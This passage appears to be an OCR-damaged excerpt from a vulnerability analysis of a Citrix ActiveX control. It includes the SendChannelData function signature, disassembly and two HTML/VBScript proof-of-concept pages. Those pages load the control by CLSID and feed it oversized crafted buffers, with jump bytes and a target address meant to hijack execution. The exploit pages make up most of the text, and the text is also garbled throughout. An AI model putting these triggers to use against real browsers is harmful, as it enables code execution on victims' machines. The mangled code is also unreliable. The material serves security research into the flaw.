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Function SendChannel Data (
ByVal Channel Nane As String ,
Byval Data As String ,
ByVal DataSize As Long ,
ByVal DataType As | CAVCDat aType

) As Long
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/ MOV AL, BYTE PTR DS: [ EDI ]
| AND BYTE PTR SS: [ EBP+E], O

| MOV BYTE PTR SS: [ EBP+C] , AL

| MOV AL, BYTE PTR DS: [ EDI +1]

| MOV BYTE PTR SS: [ EBP+D], AL
LEA EAX, DWORD PTR SS: [ EBP+C]

H EAX
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Wi ca. 1001EAOE
ECX DWORD PTR SS: [ EBP+10]

| I\/D\/ BYTE PTR DS: [ EBX+ECX] , AL

| I NC EBX

| CMP EBX, ESI

\JB SHORT Wi ca. 1001E9DC
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<htnl >
<head> <title>Citrix ActiveX Caller</title> </ head>
<body>

<OBJECT i d="Security" w dth=500 hei ght =500
cl assi d="CLSI D: 238F6F83- B8B4- 11CF- 8771-
00A024541EE3" >
<SPAN STYLE="col or:red">Congrats. You aren't
vul ner abl e. </ SPAN>
</ OBJECT>
<script | anguage=vbscri pt>
spamA = "what ever"
spanB =
" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADO90EBO4" + " 70DE3400" +
" CCCCccccc11111111”
nsgbox "attach debugger"
Security. SendChannel Dat a spamA, spanB, 1, 1

</script>

</ body>

</htm >
< $ % $ 3 $ $ $ H090EBO4> $
$ $ 0x0034DE70
”w $ $ ' CALL [ EBX+8].
o8 9090EB04 2<?( <?( 9?#%\D. ( 85 0034DE70/ $
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The following screenshot shows when a similar trigger was used to cause the program
to attempt to call to Ox DEADBEEF+8.
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<htm >
<head> <title>Citrix ActiveX Caller</title> </ head>
<body>

<OBJECT i d="Security" w dth=500 hei ght =500
cl assi d="CLSI D: 238F6F83- B8B4- 11CF- 8771-
00A024541EE3" >
<SPAN STYLE="col or:red">Congrats. You aren't
vul ner abl e. </ SPAN>
</ OBJECT>
<script |anguage=vbscri pt>
spamA =
" PAYLOADPAYL QADPAYL CADPAYL OQADPAYL QADPAYL QADPAYL OAD"
spanB = " AAAAAAAA" +
" CCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  + " BBBBBBBB" +
" DDDDDDDD11111111" + String(160,"C")
msgbox "attach debugger"
Security. SendChannel Dat a spamA, spanB, 1, 1

</script>

</ body>

</htnm >
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